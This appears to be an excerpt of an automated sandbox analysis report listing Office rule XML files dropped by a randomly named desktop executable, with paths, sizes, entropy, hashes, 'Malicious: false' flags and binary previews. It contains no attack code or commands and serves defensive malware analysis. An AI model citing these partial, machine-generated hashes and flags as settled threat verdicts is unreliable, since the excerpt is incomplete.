Preview:	<?xml[,....d...V..P.....(.....;...ek./../...`.S.H..`;.....0.V4..O..:1...^X3!../.,..=...h"%..P....}DR.H.%.G~I...{;..#..]. ..w}.T..........z....U.`....I......Pq@..k..\..x..h...g8q.\........../...i.jA.....?..c.H{.:.Bx.%.0...7.y...`G.Y...).R.T]>&d<..~.Y.RY.H..c .".. ......Y=.[3V.....{...H\25...n&..Gq..i..z.I...U...e...F.;p9..2DW....{.,-5. p...H:^5.Z.L.$%.3Q.].'......?.\Q.y..Q.g.."=.T...AZO.#l~.6..z.v.#?:.u...3..U.<`.U.>...N^....e.e..#..L.,.d.....!.E@.@....BH.E..y....bp...\|e2\0]O...m.U.....x....mM.....Lw;c.kW.?%'.K..I.~.~...Pn.....7..p+&.9..>......~.c...0.9.=..$..0...Y....f.b.H...J.%..U.!8.G-c....J.M....@9....<N\|f...........O...Z?.8i...^=\|.\.=...[S,...../p.S..O.-.:.....).B.Zas..xP.+w.k)_..z0z.....@.c-.#.R.L.Q;..'....s..Y..eP<o.tO.[....'..L.. .\|........].<.v.R.._.`6..x.3........<.8a.5%7tokq..j...H.",.......Z...+.W.]8...B.)[S=.^K....[.v.f.......'..U.@..Q......5......j......~%$....,.r$\|.R.#.4..LD..:..l.....x..w."..... C. .hC.[..)..m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.880834337692795
Encrypted:	false
SSDEEP:	24:KhzqKnPtPfb/vSoNxb8LxT9LR1zmNm9TMNI345bSlenRS2g3YcJW3mwDHxQiBVbD:KhzxbXSiAbLHzmNoTMivGqhW5fBFD
MD5:	471678A08C999AC1EF8C15F356C00BF7
SHA1:	AF9EB87BB510D5FE0609FDE18E117062DC1428C5
SHA-256:	E880B7E05026B52C3C0B4C52C2E8079ED9B2C077E0D655D44B6C6FF4BA43BA72
SHA-512:	5F6DFB81EBD6D279C4C9198125CB152A0D914875AB55DF61EEA313BB37824A78328CE66C1A4488FC9D105733CBB6E9E26E7692EAAC05E17162C80BDA50F976AF
Malicious:	false
Preview:	<?xml......:.s...B.../........E....9.^...."..p../k.j0#....:.&.........o.5J./.[-....'.N..v.kk.h..G~...3....l.@.T..2.UD....h..........X...jY..L.Q....p[.u..d....D.T.e....e}.HB7].~p%. .~..g0{...s.H..._.L...]w5.fu.oS....c.V...y..XB..<.I...........@..6Y..rU.b.}Zi...Pr.....@.\.X..F....T...`4.9..\|={.m..$..@a.n:..8B..c.....-M.N.kf.h...%.......6.M...;.Ow...bE4..<...i."..c\....L.D......NS..J...8...0?;.K...e....E...pM{....r..xh..Dv...<.(k.......l@...M.v.&...st.K......?.u...S..6.c.I4.%.......L?.,..:@.t..<?...]../).....0+J.W...i..}..s.8y.D..a.........@..d/...Rv.......nG.$....ce-8..^...tx..L..8...u...j..L...%]\..o...~.a2...&... <C..?...Ob...n`..p0.....9.2.g...>..P..d.e.!o9..zg p8U.e].j.xv.3;.l..^,...(Eod#]A.}......M...G...p.....ri.......Ojy.....xO..p.q.g:6..5%:..&.....Y...ie...\|.........I.J.N.7..a.{\..'F..m.........L"...S...9.}...h.....@..1(.7.....u...\|j"...3.lC.u._...g...x...4...h.d..(.."..%.m..`U.:....]3C?R.h#.u..Wu..YL.....P. ...h0..&f.X5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8640521084290524
Encrypted:	false
SSDEEP:	48:+Hn6rhQWq5RJRowo3jkRhWsA5Y3H+dRGu0kFZT2RTFD:o6NpYRjoTaWsACaRT0kv4T9
MD5:	06E341EDAFC0823A7408BF026E2315BE
SHA1:	29FEAFB46A886EF7457FB7949CCAEB7384525ABC
SHA-256:	B711AC504C4106F0068A14A752D59A7C16EFDDB10DBE088E0D71001217890C39
SHA-512:	ACE147434CF3D2F83CD67208E2511E32E5425C76A5F4A10514D22BCC33BDDB775E7E970B52AD6AB252B7A274BFBF829D06C65CF8B3F062916541F8239C865549
Malicious:	false
Preview:	<?xmlB..x....I.\|s...:.b.dv..Z...Ody?..@^\/..X.@.U.}.... .2r.....W.......s.%6..#h.U.bS^....H...@@.M......h9;...(..!=Z?..a.{&aA...h..$^.k.~.....=....3...@..q.b).v..D..<.../....k..b$.G........z...1z..g.!....B.......X.D.S..;.....".......v.......A-./.'J..mQ.'.U.Tb...'...[.R.J...zC..x" 9.,I.F..U../.\|.Y.9f.Zrim1....<r...A.=.\...Mz.g.....}...J y+....!B...7...:..W......S.\.}?.,.3l.^..-..>.E%._g.J..o.1..s.....2....qtX0./.~..\|........pD~.7...Rp..B..@".'..z@.v.VOX>y..4`.u... .....LF.N.. .B.N%(V.."..5[w..s..).....>.'..E..~v...e..Xp...j.4..2E.2..7...Np....T.!...(.).5.........>..e.^.yvd......&.P.79.-. ..i..i..j....Y.4..$T.........]w/.._?...i.UC.vX.\|y\|K.\.ZF.g..(..2.e%.......76E....... v..k...Kx....?x.... ....o .}fj...8.<.M.Xit..ht.JSh(...o....... ...\Ohm.g.&i.k...5^.W`\..._..`I.I2.&.......t/....+.@...g.jNqP.8a..G.t._..=U.4..z...+.=...M<./e..I.H.u........T...%...-;f..X<n..t.8]UIb{D..k.....2...3.CvT.eq.\|h.S.U....9.Z.../.`3lN..W....].tn....i..g.0#.0..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.880062772168813
Encrypted:	false
SSDEEP:	48:xwpDYYtxhx8DhX94OiithsNK5rTMIgMvkFD:xwpDFhx8DtZiGhiKr4mvk9
MD5:	86CEC508F840C161B96277BCDC8D5D97
SHA1:	61518FA52589649756CF60D5A2246F21D0BB4D8A
SHA-256:	C45D3CCAA4FB5D0DB52BF361F3E566184F78B49CAF019754F7830957EEF50F75
SHA-512:	AE8C584A0C95AFBB012B50DCA3AA46E6B4D6A64051759BAEAE640792543D1E5ED355A88B44DDC06B9E14F4CB7F37A75D17B6049FD1FFBD79AE34553DDC8840F5
Malicious:	false
Preview:	<?xmlO.~F.5...w.j%W..r.}1.7..g#9...C..v..$....^.Y....Eh%K....Z,.-+.V....]'%....X....y...h.6.Q.p.....c4O_.............^..-.w.....=;..8~.d..m."...N.u...!3...m....Uh.D.^ek..]..Q..t....G..\|.%]B..... A+D.U.eAVK.H....H....f[./N.5.Y;....(..S.z.,8.R.Vmh.(..6up......./..K}F$u"X...ki..e.b...~.f..}!D..........y..fD.\.S)...}l..;m.E\|.ar...!y.`...sX....).U.$'+..tLJ...f.h..V.Bt.V.Q.....o<.....l.%C!.4U<i.K.DY...J.....P .S.....u..OFG.....=2...c.Z...}...._f......o...).g...2.t........v..KI.q.+.n...<y.._2!-.....=k...BQQ;7.K5Ro$...Hm.....p-...AO.6...K.F..........&....6..Q.....J.w....n_.....c.....YlS...FO....6...e.J..i!..}...j.(=.r..py.3......:..p.D_`-....D.O../..v..B...4?.J..v....../.N.z4....t8..........DwL.~.."[$5.X2...p..q.........H...A.a.#w..t..?fP.'...x....([.2.0C.a[b.N.r..\xH.s.[0.%.`.JB"..a..A.B....).5u.D....-6.. ./e56CH[./R...~M..2x..!....<....\|...M........U.7..5...H3..!,.....O......g..%'.x.>..rAO.."J.`..^+..:...\|P.~.Z.....L.n7.<T..u.. ..1...q@d..j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.879926782373375
Encrypted:	false
SSDEEP:	24:+bZGhZ+/GVnieYXWPsOvwXUeAeMujeN6lJx8RVlS0QVj2RRpYdMDymVKBVbD:+bIhBjs/Ue/MuK6yPlIj2YSDEFD
MD5:	EAECE989B83AAEDA8DC466F4B7A9B7C1
SHA1:	4469EAFC3736F596F049CA2B75DBE197B1B1AEB8
SHA-256:	72DCBFF29AF552B76B28A432B47EDFDD3A47B349BF19E744AC6B9ED652425A45
SHA-512:	E6D8556D6A5DCE751C49D0DA2A4E665E46AA52E0CFE92E2D795062936278BC0C7E7B61957FE643ABAD58CBD78AA2163697DD01138EFAE8AF119997BCE81261A4
Malicious:	false
Preview:	<?xml..^..j..[Zf&..j..U......$W2%....J.m.q.2@.4.&..-..p.\|.m.....%.c....q-.E.H...r....#..?...]d..1U.....7.?....7.....a./..@.o\..."sR.._...V.qT...u.-+.AwH=.+..-O......>..3..^.:mu6\|K2d..!N.H.tE....0Qa......qi.&.d..w.f.+..k%.8 d...M......\|J..p:...v.t..h.....M#Q...\.n...%5..z.3.;g..1gY...3...F.\K...C=..%..H.L..8.:+.LZ...;o......,0..Q#.?l.-7`%?M..o.d._..j.Koj!...0....`..\#..P...).V..I....G........z..d..C..d.{...K.......F.g..U....._......e..3..e0..C..Nrt.....IR.... ...Ww...Uw~....(....).Vh.y?^..l...o...\|~.T.598y.if..:..%.dII.7.C+L2...m.'.E.....I\|W.......r..Ma.]...q...S..O]..J.$.Q...2.D.e.r..f.C..{...6.I..D..49^.3.6W.S..k.5.5A....<\|0LMt.Z..E.A4..l.h.......l:...Z.Q.<f.Y....~./V....>.W./.bE...o.....y..uh...ON.....Cdy..\|C$,.s.P.s`%.a...>....tX..&...h].y.e\...i.9........:.k.z.z.....&...C.\|..A.....>l.....-T.bz.?..=.......y.....t0`I`Sy.;a.!Qdj%,!.t0-.....\|.QCJ.u.U....\|C.X...y..I.....^.0..z.v...qx...J.C.o.A7[...t.\.oA./;B..A......Kq..~.S..d.R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8848329584391
Encrypted:	false
SSDEEP:	48:m4udpoJOHzSZytxM0VB8bi8FGQhRq6riucTFD:RudteZyvMe85/hYd9
MD5:	87E3C94AC02C4710B9AC3A746C890063
SHA1:	9F1CC223D192562D8865C9B8968845E66D93FCD9
SHA-256:	78E29B1EAC21A2FD7C037D4CD892A9EC87C8A7C60B8AA445F0A7F44F0CAC2CE3
SHA-512:	3D3AD4878564B6E2A2DD323BDE6C4FF6B2FA10779F4A3F365DF3247FFFC1EFD8FEBB3B47CEA36C0713A43BC78485F3B027055752FD87763E4C2B0744FE6E6275
Malicious:	false
Preview:	<?xmlRk.kQ..DV...{.t.,"i0..3%,..w..,.p.j&.B1.^..4...T..u...B.U..".f...:K.. z..............nn......{..bR..<`3..)/l...H.VB..r.......e.....@../J......:4o.f..U^....X-r)/.%Y.y..a.6.a...<...A...7..].9.~...._v...3.].[..0...+.iw...r4.....M.. C......j.S....e.n{..#X..}~./.B#U..'..w...&.V&~.\.... .9..h..45Z......9L....Oz.T.j..1)..eY0I....\|.'_vJ.e.U.1H.c.........K...1...\.....(...e....k....."...c4.....j...gfT.b..a8.F..c6..y[v...'...X..[^....!CZ...S...j.:&.y.t.....N...;{y(#g..u.4...Zd.Ke..a..xuU.....r.....Q.(....o...B.........9k..I..P.f...j.g.P>.>..V{....Y..0Y8....9........P....E...%2.;~..h]k.OKo....y.@A9..:..@....."..,..?...Z...a.9..^...N.....-...MO..r.....W.. .0....&q..?.?V...7.$t..0.M.u...B.!...........D$..z...._n..C.....Q..F?.b).....r..../>...Bk..Cv...RJ..H...:y.iO..A..x...&=.4...0..cX;..a...SjKqk[3......) S.v.E.9F...R..)...e..>...U....)>..P..].i.C...&7.(..K.N.....HV=.)..D..S.\...L+.8.....B.q.(......\|#'w....m......#Us.......O.Z..x.L...Ym.E.k..O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.899895001722882
Encrypted:	false
SSDEEP:	48:fg+/CUR++UflydjbP6ESCqvCkJ96ZjZOrJhUqzP0EVEaRFD:o+hYJa76EcqkeZNOrX7zrVEaR9
MD5:	E712C1FCEAD04F9FDD94643F62B2A784
SHA1:	7654887009BE8D8EB9865995D0090D5E26CBD3B7
SHA-256:	EA0C25B18C54B7C18589DEE56761214CD7AAE6D46620C07D5B1C1A1B66D4B8D3
SHA-512:	E46197D781A395017B5204CB2A75FB9BB05EC021365D2617CCD4F2EE2F0810622C79BEACCFEBA688E6D56F4172F91834095EACA36FFD9CFE53A40EEF05AB9BDB
Malicious:	false
Preview:	<?xml.l..J..xK....K;q}....'!:.Iq.E"H.fM".....e./.um0bGG.&...{,.u..E}.+....7O..."s&.a[...:>.L.5.i...M..^>.b..Z..r.D.....v...........-\....l.ZY..g.F.}......5...e.e.....v<3.......y........d.a}...]j..Gn...?.@q.. ....f.%:...xD.&8.h........g.5d...h.Y.K...7.%..&.x..0.C...>j.:.+w.x.....l.....7...;..<...5.E.b..>.W%9G^r.........hA#........F-....C......[..{.cm.."O].@....~...H...a3...C. ....-.).....qH\3jC.{..S..s.Z..~g..G.s.!...m.Xh.O.]..}...+1.TyW....SR..w+.........)...7.!..oc...........f7....%A......o($...f....B......]...s..G..G..c......O(7Y..i.....{...x..".}@v.Te...p.q}P.."9..Z..\F..&.5&~....JS.,.7..I,...`...i.&.OaO.W.h... ...0w..e-+.8.c....ku@.]....x.4....+............n1..8K.@}...j..TK)/!BT.2.=.....u6us......x(..n...{.r.DX.4^......n. O^.^...........n.\|.E.g...a..e...\.i.} \.c...K..y..B....._...I5.-s.E..c....<(..FO'....Z.p.:P..][..t..j.X..._....mk.raQ.Y(.._..Y).=....L.....Jw.:..q.q..0..)..]....A."...y.T..A.(i!.c%o...*N...v..8.<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.863208217420942
Encrypted:	false
SSDEEP:	48:S4ZPQMtQg/7PUfMOALVQa1dI8iTkC4opFD:S4ZPQMtjDQMOOviXp9
MD5:	9CA299087F83E7722719AB9F3AC97E8A
SHA1:	B61BF99C0A742FB966EDAE39B79F87BBD273DFD4
SHA-256:	77D60A514A95CE02D2BB89459E632BD66F9BBE34FB1624550B8048740CFFFE23
SHA-512:	E896648625546048EB0D37026EAB0680654CE7E5D339B3A8A68866BF74F799345CC6DFF06A716045DDE78EA0168796D9585E812313B579C9D97E12B2F2BBA0C5
Malicious:	false
Preview:	<?xml..>.42.....r.#P.....N....l.Z.d0.z`.,r.$.)..^\|....#.i.../.jg?..m..y.@7.Z#.N..j%^......}'...Fo.T.j......NY....xK.C.{+.[Fk.X......};'.....u8&..{^M..._,@.j&at.cI.T.g.C;.p...b.M.Z.e..^..O.B.f.}X2..$.F.w...R.....n.k...4;....5p.^...W.o......c...d......VZ...]/..7.o.K.q.H..eJZ.^...3!@.-.;.....o.A.8.y.F.R..`...H....{....J..t'..{T;..O,F[..g....y._A.x.2QG.[....A...jf.3o...~.`..b.AY]....2.. ..,.AYt8.7..L.H...V..K.F..%..,..,$(...k..gE..{?..I.`r.7Q....k.s.Xf.].]./+D..+.z..k..@.Z.X.Q<......bh./...]<^.`$0........O../:.h...;.....ng..ef.s..a..[...G.lV.lXo^...l$A[.{..@7x.....^....s"k...LWt._..%.-B....L;...........\r..Wq.}....O..{}....gR./\.......w:.{.F..w...'ZB...{..%.SZ"..5_..L.t.. ..C.x.,4 .y.\.<Ap.....H-....X'...!J.$..O o;..O.....`.".....G.t..m.i.p.3....}.........S...F..?u...n,\..R.:.\|.o6.1...S.D..,...A.P=...@.83(e....!..h4p.@...)JE>9.7.......q......B.%j........... 9=...E.+.........c.\..+KA!..$.p.r.......,....Y..i?.[.0'...?..=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.880633719055671
Encrypted:	false
SSDEEP:	48:rH8SBtbcyYF3VGqjwOr2UvSysGwqiynU7siF8cFD:rHLgvFGqjwIpKFT9
MD5:	43446FBCC5EEB2D0C0BCEA65ECE6C8DF
SHA1:	2E68ED381FB4122AEF4B37AD6F0F41343F0DE5F4
SHA-256:	B32B65CDF97C436DD55F6A6A65A4C6FEB85566A3ED19779F4D84F43E9FE0DACE
SHA-512:	2E036E8F6C4F3569B7034D71527C3DD0F5FBB5FC551B06228FD957025AB9EA3732399296024D1AE134BD170F766B7D16BDB0770265FAEFE69F37387FE92C9E60
Malicious:	false
Preview:	<?xml..h.....3..a1YB...D..,..jP.%.I.....w.}....U...Q..~..`&...e1N>.v^..5.0.&t..g......z..6.;..0=.{.Y).........!..&...".9.<Zq.....6f..-k.....q"....Hc.m....h.k..$......../:F.~..../$.wr.{.P~8...u.....y..7..{.sT".4..R.....H..X.y...3..g.x.@'..E..\.{..R.B....."..>......X.....)z.c..y..m....Qx9.^g.i..h..~....dj.....2Y...J..#....1.=..=.^....E...J.5..!.......Zu..P......l..G.!..[{..4.3E@.t..4q.Lo_.G.j....P.7..>k..`.6.QK.i.t'....z.G...b\.j.Vr...#..Oqf.'.F..sGw......)h...c....`.I.....@....0g.....71.K+bCC...:....C.F.a.}...]..4..$-.eL...."..z...p...t.....#Q.Fi.OF..x.~.6............^..Kx....)P.L.3............,z.G:(.A.5R.j...!....v.h.....qFV&..65......q.L..t.!x.[..).B....T;7...]b.....B...7gDG]..JnO.S.....V.(..%[{I..9.....h.......X....D9u....u8E.J......qO...!R..f..2..D..MxC4.b.5...,]n..%....G...c.!r...hsx.,.....%.n0'[.F........w.C...xyL....RK.u..V.O..{w.....$[.....&...H).6"...o..a...{..ln...<O9.+.l.....-.._L.a.2&..\|...R..e....5p&X.k.C...\|.r4...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.895160520826509
Encrypted:	false
SSDEEP:	48:c5V+iepLBIBvHgPmp8HOmDHbgkxAMUWbsaeJsQFD:c5DALBEHfiOmHQX9
MD5:	1A3E1D854F4B32451699B2CA96B72B7B
SHA1:	7DDAD71A4E2640771538D4F950C17887B7BDB841
SHA-256:	50BFB8B9193ABE915800E87E325C51447EAA8CE1A8A286A8FCB52F22A243E8D5
SHA-512:	C28E5A7B17401DAD5767A9871D67C37A833E43B450605B666B011E32EB1B8DCB68BEDE61F4A782CB07734A3341106972EDDBA27B1DB24413138391B6E421F413
Malicious:	false
Preview:	<?xml..}..nlM." U.t.....]6.zN._....%.....u............av.Uq....n.ca..Q..4!...?.e...@....<.'.lA....I....o.mgt`^....P.Q.T.PS.....k.X...eO....._..z.A...'.....Dz._...V0f.L..a'....2......c[...y..i:...;..}.U$.z8d.c..b'.o.x.j.K4..7F 2..?t.9<q...#.>....g.B..2..^y+.ku.xU}k.H.rNV.Nh3..m..i[......Ij...t@.........D.V....r..%..L@.J.e...o....z.eD..q...%B@.P.S8.wu....%..Zx.\.-a9....e.....5.!..Dy.....N&.N{A...\|.>.].....M.XG..W.q.&..kp...G.E.....^WS.d..WT\|.o...fX.......Ka>.{...n.=0e.....V...@....pu.5.@.L...R...6.R{.FL....a$......_)..$...~..A.....,...m&.....{...g8%E:..(.q.Qx..r.z.j.M..z..a.T... 8.w.\|.K...!6...3..6(.@I.G.O.k.7&..I...c..C.W.T.o..4"A...-a.2N.q!.Hj.-..+.G..e.@k..\nrq6bh$W.....'.rIq..+..}(Ot....."...u...?.-R5...tc...7......}...a]..!.B.p.1p.@VLB.h.J..........}..g$.?I.F..._.u...R..@.o..F. .a.Y.qR....-{..3G...i[..M... \..&...$..F..S..:H..\.@..v.q.,4.^.N.#..Doo..ft..#\|.. ..)I.O..6e....9sU..t.G.[...rx]..>.;.y.C~...:.eX....\|.Z...+..e.... ......<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.885966529153425
Encrypted:	false
SSDEEP:	48:7V6B9EnVZ9LmkZcjSCrNcxlQaH2qjt25NVKjBjyrtgiFD:hY4EWcjVrNs6qjI5CySi9
MD5:	C5DAD6270A7682359E0EE7E91967E873
SHA1:	0BBF9C0F7C5B389F9DE10F8F992EA804D1EED488
SHA-256:	C20BBA0438E0333F88B16E091A85F4AE899E3A8D78A42276CF9734F504F49791
SHA-512:	7C0FB83A101DEBC3279867F5F7F8FFEF938DC482F1EF712C79D54B38FD220787A48900F53F20C72218C36D232AF27625D5D85A92219A623B1AA9177C075292A2
Malicious:	false
Preview:	<?xmlB..H.kz.6P.c=..u..;.0@{ ....5..7Q.#K......h.....5.$......ksE._,.E..RjG.....;.-..[.7.O+...Jy.R....,.F.n.>....^.E:.k....?.u.4..W3..s...S.....3.QwF....;o.).?.P..V.c{H.N.'.@o......E.....Tk...g...]{."...X...>....hI.....J.2...<.^.xp.F..D...@.9.5..q...p...H.$..Ty...n.}.8..v@h.yI#...i..~..;.....Q..$_........k.9.#BFM.8...... ...e.6../....syW.f[(..'v.u......4.j.U....NW69.-...1..2C'..e.0...Az.>.W.E.....M.y_.O....k..@.^di.l.....ET...k.....G.c.&..6..8y.S......Q.....kV...o.#{.~..6...JgF....4T1.y..L0Q_.C...C.x..4Y......B....[(.<.R..W.i...v.K........H.JT.u..#/...b..;...~....._.!.........E\t...t.4....E..I...J....I3.t...j...^..............H.......r.Z............{.:.V.....j.....G.u...<AS.h7..P....-.Ed=..r.k.../....m......4..5N...S...jzn)....=..E.V..i.Bw!..<.V....m_.~W'?...(N^;...v..6N,..>.S..bJ.Xm.8....,...y.k.U...Y.Q..\|..8n..O0.E..9v_.a....>.'G.......5P.... .]k.......?..........!..Mf..{..V.R....@{2.r.2..h....I.z.M....g@.i].'.........4.da\|......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.879981792918429
Encrypted:	false
SSDEEP:	48:gVfDyiOyBnJr1Sinh2TZtNuTgYoZUjjC/qNMFD:QfDdOQJr1Smh2FtNuTgYAijCiq9
MD5:	9489DBA632C272DE5D3D98EFDECAAFB3
SHA1:	2EE24A388483DBF6525F0DDB4ED6D7ADBE986E25
SHA-256:	58D11C07B272FBC7A725F1BEF24F205D199F7355FE06E00CE1F3BDD4DCDF716B
SHA-512:	7BC58BB82BBCAC530D31EEE043D67E7659AC8A69EC6251A7339F525629FC2EC37D86FA75AC1EAC291426E9063E0A0495E5B6EA9A472A318BBCFAA7301419C023
Malicious:	false
Preview:	<?xmlb...(f.h.c~..p.K.L\..\c2..Z.'.b!..A.{.g...nu......S...].....1.qN1..Z....)~.H,.d0.\...N....d..].u1..v.:b.[x$@r}....\.I~.\|..6X..Q...E..`..G.b..r..m.&...,...5'.....Bw.vS.T..;0..SnG.!;~..z..Q..q.0.8w$.lW.....k......r?l..o.....x@.N.......t.....QX* ...[..U.-..q.R'.v=.0....'.....tU.#.....q...>......9z.U[..C.k...."i~..8x\|p..!W.q.(R..Y....40Jq.&....;..\..:.V).&q.#.EF.."9~k.D......M... ).3k2$.Uv$..m.....Eb.aYVK...\|.._.5.?7..(t.~..@._..#l..;...~L.'..7..8.N..U0...N1HG......I.-.A.\..r..%..{..S..<.L.x.v..xV1.}x.....5/..~..Ui].T.R.N0.k6.2.@y..@~...e{8.c.......!+.&.....Y..........eHEE...\|.h/.....<E..\|..<Fo..(.!.[..A....K.._...+...h..."sbnI........-.$0/^J.z.J..n)?Y....f......Hi..v?A..PG.!.."...P...+7..C........x.....c...."H..vgu..?AH.....(B...Dh..k/.g..(.@+..W.A^....ka..Y......%...uj....Y......A....40.....4......+p_.)zw.v..G..!.J...(..F..^.@Hh.o....U.n..\|>..Iq..rIc8s.#.(.^....9...On...l.p..Y...5.Y....(a./.iV.Zg4...Q.\|.."A...2..?lL".5.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.8929506757794
Encrypted:	false
SSDEEP:	48:/8ZrkuXf9zRbSXbZzKjdeXntwMcGjCfqiDPYfVFD:/I9zRbSdGjdeX+MbjCfqCPs9
MD5:	B78960AE126D581A16A4400229F36112
SHA1:	37ACA61A235E2F88DCA4F738D2C8AF9B7E8D489A
SHA-256:	5F9C9B97EAE673F01D753CB204802B265950656C02260B866447230BD8B19F62
SHA-512:	65B19B83E48348AE80D53DE109F0BFED68FE97227646702609E4974B78991E29CDEB5885EBA77C6DC2C163AF3561A949D33A43EF9602FD09756FD4807D7559BE
Malicious:	false
Preview:	<?xml9.c...A.s.f&..We..Y..H.sG......1....U0n....WU.M..@...H...w..X..\|.....^YV.]...^s)Z....P.KAT.k-..fA<..%...D.=...O..p.].......Y.[....6.~.g.C.......Sk{..W......+......W/4....$p. .X.M>.+...p.k..D.......b..........<.....>..A".;.7[..jp.+qA.E.....'..1)@.b.."..J+.y6j$..c.\|3..P.,..j_.L..h..NJ#...F..4~....u..t...>.V..O.m.'W.3.h....S.......j...K..SLS.)s2.h$...2...g..>..q..c@?/.u.I...b..(...T..&..`.a.~...L.~...:.;f.-.u.f.....P...8Y.A..6..\X...(\|.h.....S....ja%....(.xv.G.u..\f.....9}?W..q.K?..\...>...5....).MU..]1+o...J....e%+...k...3x.~..0...b.[.U.Cz..../..>c.A.Fp}.,B.@o.....r...p....5......P.....E.s.HN@@.hg&..d..$.Ca..c.-6B'~..Y...8....#v......~....f.2.U?...2...v5.m(.....&.=Q....F.>...N.(.y..[$K.h..g.El.o?..0E7[.+%.GG.U:_..IN. ....W.Y...?...Jb...+.ii.Q#..M..7>...:\|1..-.2.Z1..L\|.[..c.e.'........1.4~......3.....kv.hYe.>......3A_Q.Q....?1{....R..D..g...y;...h~.x...-..?i..........\...a\..ZL.........5..2.#..H.$.4.=..<.q....}....O.g....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.897921106358586
Encrypted:	false
SSDEEP:	48:Y9BiqhojDaa0d8is182Ji//waVpGam56GMYTFD:arojDa3sqHxXVm56Q9
MD5:	86F087A583EF99EA9C7AF00200AD0912
SHA1:	FDBFB0ADF6DA43C34E5C9E176F47CD5FA106B42A
SHA-256:	F0FC62368ED2A236A2BAA7785520B2D1A756AD12BBC2B7EE9E5286BB06FFB52B
SHA-512:	67F9096C48A9F50065A6D413AAA33D8150A96935CA9B384A654553851C6F25F1046077DF070F841B11737503CB0DD9946E331A1E9AE3043AE1538C2A4D06B558
Malicious:	false
Preview:	<?xml...x..b`..`.O..w...M..a.X.3....5cs....]^...}n.a..i..._......##/lT.,.9...$.r.[$H.........W=.$2...9.nZ..>k..m...8. a...;.o..C..e..H..I....p...e+k....?...r...l..Y..Yk. t..1....So.#.en..LJ..Y.T.U..+....C\.."...'^..Dm....O..b....-w...VSM.,...3..........AHN.Q).(..M.Y4...%........e...y.4...$'.a.\|..U..)...v./..Q.+..q...)I:-..Xd....N........S..m......cJ.]:..........."Sg;6.@..M~..G.... .......H.w.5..A..g5...K.%..Q.iZ.............._...'... ..j+.^U.\|n;..3.{......X...K....Q...<..!....X;..j..q....6....8S.e."e.X.s...........w...$....y)X..zH...?.!.^....an...x.0....V...I\...o........&E...4...s...g.M..I'n...3..g.... .i...N!i.....k.C....N-...iq....Dq..6%.ra..M..K6C..X....Tx...>4....=U<....8 D.R......C}..2....l_W..c.....Q\|.RT..<.&.j.....L9.r:6.x{\_..eJ..lX.Q..Q.2..1le......=...4......n.E3.....;...4..H=..[...W....g..U...#...>.'?.R.&...J...!k~..-...A\|pt..<R....(.J..E.z}x&..@n...K.],...^.X...d6..m..O.]..d........N.rkp...!..H.x.............GIh..cXtv.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8796304218775575
Encrypted:	false
SSDEEP:	24:FWK+5QAmzAP++/uZS4IAqVTkoTX+52GiBE4gpS4Kk+HZCJx7xUoo4ADVN29ZN97W:gKWYj+/uorX+52bob+o1o4+uN7s2LgFD
MD5:	3B9D0764066D76149162663DD4E1AAE1
SHA1:	F7C2D789E7247F377568ABF51A1B8D32FCEBD8F4
SHA-256:	328D62B1BDE7695A13534EDF19CB3EC9FD4918E036B4553BC41E38DCC6BCF223
